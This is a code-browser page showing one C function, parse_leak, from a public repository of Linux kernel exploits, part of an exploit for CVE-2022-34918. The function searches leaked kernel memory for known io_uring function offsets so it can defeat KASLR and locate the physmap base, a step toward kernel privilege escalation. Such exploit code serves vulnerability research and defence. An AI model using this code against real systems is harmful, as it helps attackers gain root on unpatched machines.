MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / parse_leak

Function parse_leak

CVE-2022-34918/exploit/exploit.c:211–233  ·  view source on GitHub ↗

parse_leak(): find KASLR & physmap addr if percpu_ref_data->release == `io_ring_ctx_ref_free()` or `io_rsrc_node_ref_zero()`, we find KASLR then get percpu_ref_data->ref (physmap addr)

Source from the content-addressed store, hash-verified

209// if percpu_ref_data->release == `io_ring_ctx_ref_free()` or `io_rsrc_node_ref_zero()`, we find KASLR
210// then get percpu_ref_data->ref (physmap addr)
211struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
212 struct leak *ret = malloc(sizeof(struct leak));
213 if (!ret)
214 error("malloc");
215
216 for (uint32_t i = 0; i < buffer_size; i++) {
217 // percpu_ref_data->release == io_ring_ctx_ref_free()
218 if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) {
219 ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET;
220 ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
221 return ret;
222 }
223 // percpu_ref_data->release == io_rsrc_node_ref_zero()
224 else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) {
225 ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET;
226 ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
227 return ret;
228 }
229 }
230
231 free(ret);
232 return NULL;
233}
234
235void print_hex( char *buf,int size){
236 int i;

Callers 1

get_keyring_leakFunction · 0.85

Calls 1

errorFunction · 0.70

Tested by

no test coverage detected